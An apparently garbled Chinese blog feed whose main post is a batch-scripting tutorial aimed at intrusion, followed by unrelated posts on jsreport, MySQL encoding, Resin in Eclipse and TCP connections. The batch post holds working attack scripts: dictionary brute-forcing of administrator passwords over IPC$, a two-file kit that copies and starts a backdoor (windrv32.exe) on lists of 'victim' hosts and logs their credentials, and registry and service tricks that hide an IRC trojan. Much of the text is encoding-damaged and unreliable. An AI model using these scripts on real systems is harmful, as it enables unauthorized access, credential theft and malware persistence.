??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲精品国产综合久久久久紧,亚洲喷奶水中文字幕电影 ,国产午夜亚洲精品午夜鲁丝片http://m.tkk7.com/yuze/zh-cnMon, 12 May 2025 07:04:58 GMTMon, 12 May 2025 07:04:58 GMT60?BAT常用命ohttp://m.tkk7.com/yuze/archive/2010/07/01/324997.htmlyuyuyuyuThu, 01 Jul 2010 08:47:00 GMThttp://m.tkk7.com/yuze/archive/2010/07/01/324997.htmlhttp://m.tkk7.com/yuze/comments/324997.htmlhttp://m.tkk7.com/yuze/archive/2010/07/01/324997.html#Feedback0http://m.tkk7.com/yuze/comments/commentRss/324997.htmlhttp://m.tkk7.com/yuze/services/trackbacks/324997.html一.单批处理内部命o?nbsp;
1.Echo 命o 
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o显C当前回显设|?nbsp;
  语法 
echo [{on│off}] [message] 
SampleQ@echo off / echo hello world 
在实际应用中我们会把q条命o和重定向W号Q也UCؓ道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?/div>

2.@ 命o 
表示不显C@ 后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦 ?nbsp;
SampleQ@echo off 
@echo Now initializing the program,please wait a minite... 
@format X: /q/u/autoset (format q个命o是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L?

3.Goto 命o 
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o?nbsp;
语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。) 
SampleQ?nbsp;
if {%1}=={} goto noparms 
if {%2}=={} goto noparmsQ如果这里的if?1?2是表示变量。) 
@Rem check parameters if null show usage 
:noparms 
echo Usage: monitor.bat ServerIP PortNumber 
goto end 
  标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:用来表示q个字母是标{, : 开头的字符?, 在批处理中都被视作标?, 而直接忽略其后的所有内?, 只是Z与正常的标号相区?, 使用 goto 所无法识别的标?, 卛_ : 后紧跟一个非字母数字的一个特D符?. goto 命o是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才会理解你的意囑֕?/div>

4.Rem 命o 
注释命oQv一个注释的作用Q便于别人阅d你自己日后修攏V?nbsp;
Rem Message 
SampleQ@Rem Here is the description.

5.Pause 命o 
q行 Pause 命oӞ显CZ面的消息Q?nbsp;
Press any key to continue . . . 
SampleQ?nbsp;
@echo off 
:begin 
copy a:*.* dQ?\back 
echo Please put a new disk into driver A 
pause 
goto begin 
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d:\back中。显C的注释提示(zhn)将另一张磁盘放入驱动器 A Ӟpause 命o会ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理?/div>

6.Call 命o 
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它?yu)不会在命o行v作用?nbsp;
语法 
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]] 
参数 
[Drive:}[Path] FileName 
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?/div>

7.start 命o 
调用外部E序Q所有的DOS命o和命令行E序都可以由start命o来调用?nbsp;
入R常用参数Q?nbsp;
MIN 开始时H口最化 
SEPARATE 在分开的空间内开?16 ?Windows E序 
HIGH ?HIGH 优先U类别开始应用程?nbsp;
REALTIME ?REALTIME 优先U类别开始应用程?nbsp;
WAIT 启动应用E序q等候它l束 
parameters q些Z送到命o/E序的参?nbsp;
执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o脚本内执行,该新行ؓ则不会发生?nbsp;

8.choice 命o 
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?1234...... 
?: choice /c:dme defrag,mem,end 
显C?nbsp;
defrag,mem,end[D,M,E]? 
SampleQ?nbsp;
Sample.bat的内容如?: 
@echo off 
choice /c:dme defrag,mem,end 
if errorlevel 3 goto defrag Q应先判断数值最高的错误码) 
if errorlevel 2 goto mem 
if errotlevel 1 goto end

:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye

此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?/div>

9.If 命o

if 表示判断是否符合规定的条gQ从而决定执行不同的命o?有三U格?: 
a、if "参数" == "字符?  待执行的命o 
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P 
?if "%1"=="a" format a: 
if {%1}=={} goto noparms 
if {%2}=={} goto noparms

b 、if exist 文g?待执行的命o 
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?nbsp;
如if exist config.sys edit config.sys

c 、if errorlevel / if not errorlevel 数字 待执行的命o 
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?nbsp;
如if errorlevel 2 goto x2   
DOSE序q行旉会返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???/div>

10.for 命o 
for 命o是一个比较复杂的命oQ主要用于参数在指定的范围内循环执行命o?nbsp;
在批处理文g中?FOR 命oӞ指定变量请?%%variable

for {%variable?%variable} in (set) do command [ CommandLineOptions] 
%variable 指定一个单一字母可替换的参数?nbsp;
(set) 指定一个或一l文件。可以用通配W?nbsp;
command 指定Ҏ(gu)个文件执行的命o?nbsp;
command-parameters 为特定命令指定参数或命o行开兟?nbsp;
在批处理文g中?FOR 命oӞ指定变量请?%%variable 
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I

如果命o扩展名被启用Q下列额外的 FOR 命o格式会受?支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w?/div>

FOR /R [[drive:]path] %variable IN (set) DO command [command-

查以 [drive:]path 为根的目录树Q指向每个目录中?FOR 语句。如果在 /R 后没有指定目录,则用当?目录。如果集仅ؓ一个单?.)字符Q则枚D该目录树?/div>

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量Ş式从开始到l束的一个数字序列。因此,(1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?序列 (5 4 3 2 1)?/div>

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command

或者,如果?usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command 
FOR /F ["options"] %variable IN ("string") DO command 
FOR /F ["options"] %variable IN ('command') DO command

filenameset Z个或多个文g名。l到 filenameset 中的 下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?处理包括d文gQ将其分成一行行的文字,然后每?解析成零或更多的W号。然后用已找到的W号字符串变量D?For 循环。以默认方式Q?F 通过每个文g的每一行中分开的第一个空白符受蟩q空白行。?zhn)可通过指定可?"options" 参数替代默认解析操作。这个带引号的字W串包括一个或多个指定不同解析选项的关键字。这些关键字?

eol=c - 指一个行注释字符的结?׃?) 
skip=n - 指在文g开始时忽略的行数?nbsp;
delims=xxx - 指分隔符集。这个替换了I格和蟩格键的默认分隔符集?nbsp;
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这会导致额外变量名U的格式Z个范围。通过 nth W号指定 m W号字符串中的最后一个字W星P 那么额外的变量将在最后一个符可析之分配q接受行的保留文本?nbsp;
usebackq - 指定新语法已在下cL况中使用: 在作为命令执行一个后引号的字W串q且引号字符为文字字W串命oq允许在 fi中用双引号扩v文g名称?nbsp;
sample1: 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分?myfile.txt 中的每一行,忽略以分h头的那些行,?每行中的W二个和W三个符号传递给 for E序体;用逗号?或空格定界符受请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引?%j 来取得第三个W号Q引?%k 来取得第三个W号后的所有剩余符受对于带有空格的文g名,(zhn)需要用双引号将文g名括h。ؓ了用q种方式来用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会被理解成是用作定义某个要分析的字W串的?/div>

%i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。?zhn)可以通过 tokens= 一行指定最?26 个符P只要不试图说明一个高于字?'z' ?Z' 的变量。请CQFOR 变量是单一字母、分大小写和全局的;同时不能?52 个以上都在用中?/div>

(zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来。这P该字W串会被当作一个文件中的一个单一输入行?/div>

最后,(zhn)可以用 FOR /F 命o来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W串。该字符串会被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进内存Qƈ被当作文件分析。因此,以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚丑ֽ前环境中的环境变量名U。另外,FOR 变量参照的替换已被增强。?zhn)现在可以使用下列选项语法:

~I - 删除M引号(")Q扩?%I 
%~fI - ?%I 扩充C个完全合格的路径?nbsp;
%~dI - 仅将 %I 扩充C个驱动器?nbsp;
%~pI - 仅将 %I 扩充C个\?nbsp;
%~nI - 仅将 %I 扩充C个文件名 
%~xI - 仅将 %I 扩充C个文件扩展名 
%~sI - 扩充的\径只含有短名 
%~aI - ?%I 扩充到文件的文g属?nbsp;
%~tI - ?%I 扩充到文件的日期/旉 
%~zI - ?%I 扩充到文件的大小 
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个完全合格的名称。如果环境变量未被定义,或者没有找到文Ӟ此组合键会扩充空字符?/div>

可以l合修饰W来得到多重l果:

%~dpI - 仅将 %I 扩充C个驱动器号和路径 
%~nxI - 仅将 %I 扩充C个文件名和扩展名 
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?nbsp;
%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充到找到的W一个驱动器号和路径?nbsp;
%~ftzaI - ?%I 扩充到类D出线路的 DIR

在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名比较易读Q而且避免与不分大写的组合键h?/div>

以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o在入侵中的用途?/div>

sample2 Q?/div>

利用For命o来实现对一台目标Win2kL的暴力密码破解?nbsp;
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?nbsp;
最主要的命令是一条: for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator" 
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o来连接。然后将E序q行l果传递给find命oQ- 
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ": 命o成功完成">>D:\ok.txt Q这样就ko了?/div>

sample3 Q?/div>

你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会变得很郁PQ。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃明白了?/div>

主要命o也只有一条:Q在批处理文件中使用 FOR 命oӞ指定变量使用 %%variableQ?nbsp;
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k 
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?nbsp;
而cultivate.bat无非是用net use命o来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?nbsp;
delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?nbsp;
代码雏ŞQ?nbsp;
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- 
@echo off 
@if "%1"=="" goto usage 
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k 
@goto end 
:usage 
@echo run this batch in dos modle.or just double-click it. 
:end 
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- 
@net use \\%1\ipc$ %3 /u:"%2" 
@if errorlevel 1 goto failed 
@echo Trying to establish the IPC$ connection ............OK 
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt 
@p*** ec \\%1 c:\winnt\system32\windrv32.exe 
@p*** ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt 
:failed 
@echo Sorry can not connected to the victim. 
----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?nbsp;
可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?

?如何在批处理文g中用参?nbsp;
批处理中可以使用参数Q一般从1%?9%q九(ji)个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?nbsp;
sample1Q?fomat.bat 
@echo off 
if "%1"=="a" format a: 
:format 
@format a:/q/u/auotset 
@echo please insert another disk to driver A. 
@pause 
@goto fomat 
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~ 
sample2Q?nbsp;
当我们要建立一个IPC$q接地时候总要输入一大串命oQ弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o了?nbsp;
@echo off 
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?nbsp;
@if errorlevel 1 echo connection failed 
怎么?使用参数q是比较单的吧?你这么帅一定学会了 .No.3 
?如何使用l合命o(Compound Command)

1.&

Usage Q第一条命?& W二条命?[& W三条命?..]

用这U方法可以同时执行多条命令,而不命令是否执行成?/div>

Sample Q?nbsp;
C:\>dir z: & dir c:\Ex4rch 
The system cannot find the path specified. 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 . 
2002-05-14 23:51 .. 
2002-05-14 23:51 14 sometips.gif

2.&&

Usage Q第一条命?&& W二条命?[&& W三条命?..]

用这U方法可以同时执行多条命令,当碰到执行出错的命o后将不执行后面的命oQ如果一直没有出错则一直执行完所有命令;

Sample Q?nbsp;
C:\>dir z: && dir c:\Ex4rch 
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z: 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 . 
2002-05-14 23:55 .. 
2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
2 Dir(s) 768,671,744 bytes free 
The system cannot find the path specified.

在做备䆾的时候可能会用到q种命o会比较简单,如: 
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb E:\backup 
如果q程服务器上存在backup.mdb文gQ就执行copy命oQ若不存在该文g则不执行copy命o。这U用法可以替换IF exist?Q)

3.││

Usage Q第一条命?││ W二条命?[││ W三条命?..]

用这U方法可以同时执行多条命令,当碰到执行正的命o后将不执行后面的命oQ如果没有出现正的命o则一直执行完所有命令;

Sample Q?nbsp;
C:\Ex4rch>dir sometips.gif ││ del sometips.gif 
Volume in drive C has no label. 
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif 
1 File(s) 14 bytes 
0 Dir(s) 768,696,320 bytes free

l合命o使用的例子: 
sampleQ?nbsp;
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

四、管道命令的使用

1.?命o 
UsageQ第一条命??W二条命?[?W三条命?...] 
第一条命令的l果作ؓW二条命令的参数来用,记得在unix中这U方式很常见?/div>

sample Q?nbsp;
time /t>>D:\IP.log 
netstat -n -p tcp│find ":3389">>D:\IP.log 
start Explorer 
看出来了么?用于l端服务允许我们为用戯定义起始的程序,来实现让用户q行下面q个batQ以获得d用户的IP?/div>

2.> ?gt;>输出重定向命?nbsp;
一条命令或某个E序输出l果的重定向到特定文件中, > ?>>的区别在于,>会清除调原有文g中的内容后写入指定文Ӟ?gt;>只会q加内容到指定文件中Q而不会改动其中的内容?/div>

sample1 Q?nbsp;
echo hello world>c:\hello.txt (stupid example?)

sample2: 
时下DLL木马盛行Q我们知道system32是个捉迷藏的好地方,许多木马都削了脑袋往那里钻,DLL马也不例外,针对q一Ҏ(gu)们可以在安装好系l和必要的应用程序后Q对该目录下的EXE和DLL文g作一个记录: 
q行CMD--转换目录?system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 
q样所有的EXE和DLL文g的名U都被分别记录到exeback.txt和dllback.txt?, 
日后如发现异怽用传l的Ҏ(gu)查不出问题时,则要考虑是不是系l中已经潜入DLL木马?. 
q时我们用同L命osystem32下的EXE和DLL文g记录到另外的exeback1.txt和dllback1.txt?然后q行 : 
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命o比较前后两次的DLL和EXE文g,q将l果输入到diff.txt?,q样我们p发现一些多出来的DLL和EXE文g,然后通过查看创徏旉、版本、是否经q压~等p够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll后门DLL文g注销?再把它移到回收站里,若系l没有异常反映再之d删除或者提交给杀毒Y件公司?/div>

3.< ?gt;& ?<& 
< 从文件中而不是从键盘中读入命令输入?nbsp;
>& 一个句柄的输出写入到另一个句柄的输入中?nbsp;
<& 从一个句柄读取输入ƈ其写入到另一个句柄输Z?nbsp;
q些q不常用Q也׃多做介绍?/div>

No.5 
?如何用批处理文g来操作注册表

在入侵过E中l常回操作注册表的特定的键值来实现一定的目的Q例?Z辑ֈ隐藏后门、木马程序而删除Run下残余的键倹{或者创Z个服务用以加载后门。当然我们也会修Ҏ(gu)册表来加固系l或者改变系l的某个属性,q些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何?REG文g来操作注册表.(我们可以用批处理来生成一个REG文g ) 
关于注册表的操作Q常见的是创建、修攏V删除?/div>

1. 创徏 
创徏分ؓ两种Q一U是创徏子项(Subkey)

我们创徏一个文Ӟ内容如下Q?/div>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创Z一个名字ؓ"hacker"的子V?/div>

另一U是创徏一个项目名U?nbsp;
那这U文件格式就是典型的文g格式Q和你从注册表中导出的文件格式一_内容如下Q?/div>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
"Invader"="Ex4rch" 
"Door"=C:\\WINNT\\system32\\door.exe 
"Autodos"=dword:02

q样在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]?nbsp;
新徏?Invader、door、aboutq三个项?nbsp;
Invader的类型是 "String value" 
door的类型是 "REG SZ value" 
Autodos的类型是"DWORD value"

2. 修改 
修改相对来说比较单,只要把你需要修改的目导出Q然后用C本进行修改,然后导入Qregedit /sQ即可?/div>

3. 删除 
我们首先来说说删除一个项目名Uͼ我们创徏一个如下的文gQ?/div>

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"p删除了;

我们再看看删除一个子,我们创徏一个如下的脚本Q?/div>

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]已l被删除了?/div>

怿看到q里Q?reg文g你基本已l掌握了。那么现在的目标是用批处理来创建特定内容的.reg文g了,记得我们前面说道的利用重定向W号可以很容易地创徏特定cd的文件?/div>

samlpe1: 如上面的那个例子,如想生成如下注册表文?nbsp;
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
"Invader"="Ex4rch" 
"door"=hex:255 
"Autodos"=dword:000000128 
只需要这P 
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg 
@echo "Invader"="Ex4rch">>Sample.reg 
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg 
@echo "Autodos"=dword:02>>Sample.reg

samlpe2: 
我们现在在用一些比较老的木马?可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启?但是q样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马E序注册为系l服务则相对安全一?下面以配|好地IRC木马DSNXZ(名ؓ windrv32.exe) 
@start windrv32.exe 
@attrib +h +r windrv32.exe 
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll 
@echo "windsnx "=- >>patch.dll 
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe 
@regedit /s patch.dll 
@delete patch.dll

@REM [ 删除DSNXDE在注册表中的启动,用sc.exe之注册为系l关键性服务的同时其属性设为隐藏和只读Qƈconfig启动 ] 
@REM q样不是更安?
http://blog.csdn.net/annhf/archive/2007/10/24/1842362.aspx


yuyu 2010-07-01 16:47 发表评论
]]>jsreport遇到的问?/title><link>http://m.tkk7.com/yuze/archive/2008/06/04/205862.html</link><dc:creator>yuyu</dc:creator><author>yuyu</author><pubDate>Wed, 04 Jun 2008 08:48:00 GMT</pubDate><guid>http://m.tkk7.com/yuze/archive/2008/06/04/205862.html</guid><wfw:comment>http://m.tkk7.com/yuze/comments/205862.html</wfw:comment><comments>http://m.tkk7.com/yuze/archive/2008/06/04/205862.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://m.tkk7.com/yuze/comments/commentRss/205862.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/yuze/services/trackbacks/205862.html</trackback:ping><description><![CDATA[jsreport遇到了一个很郁闷的问题L出现<br /> <font face="Verdana" color="#ff0000">报表文g有错QErrors were encountered when compiling report expressions class file: D:\server\tomcat5.0.28\bin\mytest_1212552692656_858465.java:4: 软g?net.sf.jasperreports.engine 不存?import net.sf.jasperreports.engine.*; ^ D:\server\tomcat5.0.28\bin\mytest_1212552692656_858465.java:5: 软g?net.sf.jasperreports.engine.fill 不存?import net.sf.jasperreports.engine.fill.*; ^ D:\server\tomcat5.0.28<br /> <span style="color: #000000">找了很长旉最后终于搞定,指定~译的classpath<br /> String classPath =  "yourpath";<br /> JRProperties.setProperty(JRProperties.COMPILER_CLASSPATH, classPath); </span></font> <img src ="http://m.tkk7.com/yuze/aggbug/205862.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/yuze/" target="_blank">yuyu</a> 2008-06-04 16:48 <a href="http://m.tkk7.com/yuze/archive/2008/06/04/205862.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>疑难杂症http://m.tkk7.com/yuze/archive/2008/03/04/183658.htmlyuyuyuyuTue, 04 Mar 2008 04:12:00 GMThttp://m.tkk7.com/yuze/archive/2008/03/04/183658.htmlhttp://m.tkk7.com/yuze/comments/183658.htmlhttp://m.tkk7.com/yuze/archive/2008/03/04/183658.html#Feedback0http://m.tkk7.com/yuze/comments/commentRss/183658.htmlhttp://m.tkk7.com/yuze/services/trackbacks/183658.html
问题一Q?br />        |页打开之后长时间未响应Q这个问题在邮g中已l分析过了,q里׃重复了?br />
问题二:
      mssql讉K不到Qtelnet不通,netstat也没有程序监听,最后打sp4补丁搞好了。也是解决了吧Q这U问题以后还是要记得先查看版本信息。不q我记得q是没有sp4也只是部分功能不能用Q不会导致端口都不监听了吧?br />
问题三:
      mysql~码问题Q这两天被编码的问题搞的很郁闗mysql的确是很奇怪,字符~码到处都可以设。系l默认编码,数据库编码,表编码,表字D늼码。这Ll果常常D在导数据或者插入数据的时候数据库出现大量qQ更奇怪的是用W三方工h看的数据库是qQ但是用程序取出来的时候又是好的,原来W三方的工具~码也有问题?br />

yuyu 2008-03-04 12:12 发表评论
]]>
转:无插件在Eclipse中利用Resin调试和开发WEB应用E序http://m.tkk7.com/yuze/archive/2008/03/03/183424.htmlyuyuyuyuMon, 03 Mar 2008 03:43:00 GMThttp://m.tkk7.com/yuze/archive/2008/03/03/183424.htmlhttp://m.tkk7.com/yuze/comments/183424.htmlhttp://m.tkk7.com/yuze/archive/2008/03/03/183424.html#Feedback0http://m.tkk7.com/yuze/comments/commentRss/183424.htmlhttp://m.tkk7.com/yuze/services/trackbacks/183424.html 主要介绍了无需Resin插g如何在Eclipseq行和调试WEB应用E序?

因ؓ无需插gQ纯JAVA环境q行Q步骤可能多一炏V?br /> 下面以Eclipse3.0.1、Resin3.0.12Z说明如何配置Q相关配|内容ؓ仅供参考?/p>

1、徏立基本结?br /> 首先在Eclipse中新Z个项目pjtQ结构如下:
|
|--src
|
|--context
   |
   |-- WEB-INF
       |
       |--classes
       |--lib
      
src: cȝ?br /> context: WEB应用E序文档目录Q即web-app的document-directory
WEB-INF: 你的*.xml?.tld{等文在q里存放?br /> classes: cȝ译输出文件夹
lib: cd的存攄录,存放相应APPLICATIONq行所需要的cd
以上Z大致l构Q相信稍微做q开发的朋友都明白?/p>

2、配|项目属?br /> 在该目属性中配置Q?br /> 该项目JAVA文g~译的缺省输出文件夹Z面的classes目录?br /> 在LIB列表中添加编译需要的jar?br /> 具体的配|看个h情况而定了?/p>


3、配|Resin的conf
拯一份resin安装目录conf目录下的resin.confQ命名ؓtest.conf
~辑其中的内容,默认也可Q在其后面的</host>上面d一行:
<web-app id=/pjt document-directory="d:\pjt\webapp"/>
q是最配置Q详l参数自己可以定制?/p>

4、配|Eclipse的运?br /> 打开Eclipse?#8220;q行”菜单Q选择“q行”Q如果你的是英文Q应该都是RUN。:Q?br /> 选择JAVA应用E序Q点M面的新徏按钮Q新Z个运行项目?br /> 名称自己填写Q我们暂时以RunTest来命名这个例子。然后配|其中的相关属性?/p>

(1)主要
目Q我们选择刚刚新徏的pjt目?br /> Mainc:填写com.caucho.server.resin.Resin
注意Q如果你用的是resin2.1.5pd应该?com.caucho.server.http.HttpServer

(2)自变?br /> E序自变量:-conf "d:\resin-3.0.12\conf\test.conf"
VM自变量:
-Dresin.home="G:\workspace\resin-3.0.12"
-Djava.util.logging.manager=com.caucho.log.LogManagerImpl
如果是开发TapestryQ需要page可以自动更新Q那再添加:
-Dorg.apache.tapestry.enable-reset-service=true
-Dorg.apache.tapestry.disable-caching=true

(3)JREQ选择自己pȝ安装的JRE?/p>

(4)c\径:dResin home的lib下的jar?/p>

其它目默认或根据情况自己定制即可?br /> 配置好之后点?#8220;应用”按钮Q然后点M面的“q行”按钮卛_q行该项目。:Q?/p>

以后你会发现工具条上q行按钮的下拉列表里面多了一个RunTest?br /> q样以后通过工具条上的运行和调试按钮可以来q行q个pjt目了?br />
转自Qhttp://www.web521.com/web/554468/T642458.shtml



yuyu 2008-03-03 11:43 发表评论
]]>
转:关于长连接和短连?/title><link>http://m.tkk7.com/yuze/archive/2007/12/10/166583.html</link><dc:creator>yuyu</dc:creator><author>yuyu</author><pubDate>Mon, 10 Dec 2007 02:35:00 GMT</pubDate><guid>http://m.tkk7.com/yuze/archive/2007/12/10/166583.html</guid><wfw:comment>http://m.tkk7.com/yuze/comments/166583.html</wfw:comment><comments>http://m.tkk7.com/yuze/archive/2007/12/10/166583.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.tkk7.com/yuze/comments/commentRss/166583.html</wfw:commentRss><trackback:ping>http://m.tkk7.com/yuze/services/trackbacks/166583.html</trackback:ping><description><![CDATA[<p>TCP/IP通信E序设计的丰富多h?</p> <p> </p> <p>刚接触TCP/IP通信设计的hҎ(gu)范例可以很快~出一个通信E?<br /> 序,据此一些h可能会认为TCP/IP~程很简单。其实不Ӟ <br /> TCP/IP~程h较ؓ丰富的内宏V其~程的丰富性主要体现在 <br /> 通信方式和报文格式的多样性上?</p> <p><br /> 一。通信方式 </p> <p>主要有以下三大类: </p> <p>(一)SERVER/CLIENT方式 </p> <p>1.一个Client方连接一个Server方,或称点对?peer to peer)Q?<br /> 2.多个Client方连接一个Server方,q也是通常的ƈ发服务器方式?<br /> 3.一个Client方连接多个Server方,q种方式很少见,主要 <br /> 用于一个客户向多个服务器发送请求情c?</p> <p><br /> (?q接方式 </p> <p>1.长连?</p> <p>Client方与Server方先建立通讯q接Q连接徏立后不断开Q?<br /> 然后再进行报文发送和接收。这U方式下׃通讯q接一?<br /> 存在Q可以用下面命o查看q接是否建立Q?</p> <p>netstat –f inet|grep 端口??678)?</p> <p>此种方式常用于点对点通讯?</p> <p><br /> 2.短连?</p> <p>Client方与Server每进行一ơ报文收发交易时才进行通讯q?<br 